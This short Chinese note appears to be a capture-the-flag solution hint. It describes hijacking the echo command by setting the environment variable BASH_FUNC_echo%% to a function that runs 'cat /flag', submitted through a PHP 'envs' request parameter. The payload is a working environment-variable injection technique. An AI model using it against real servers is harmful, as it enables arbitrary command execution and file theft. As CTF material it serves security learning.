通过 BASH_FUNC_echo%% 注入 Bash 函数,劫持 echo 命令,执行 cat /flag
关于传参:
使用 $_REQUEST['envs'] 提交环境变量,键为 BASH_FUNC_echo%%,值为 () { cat /flag; }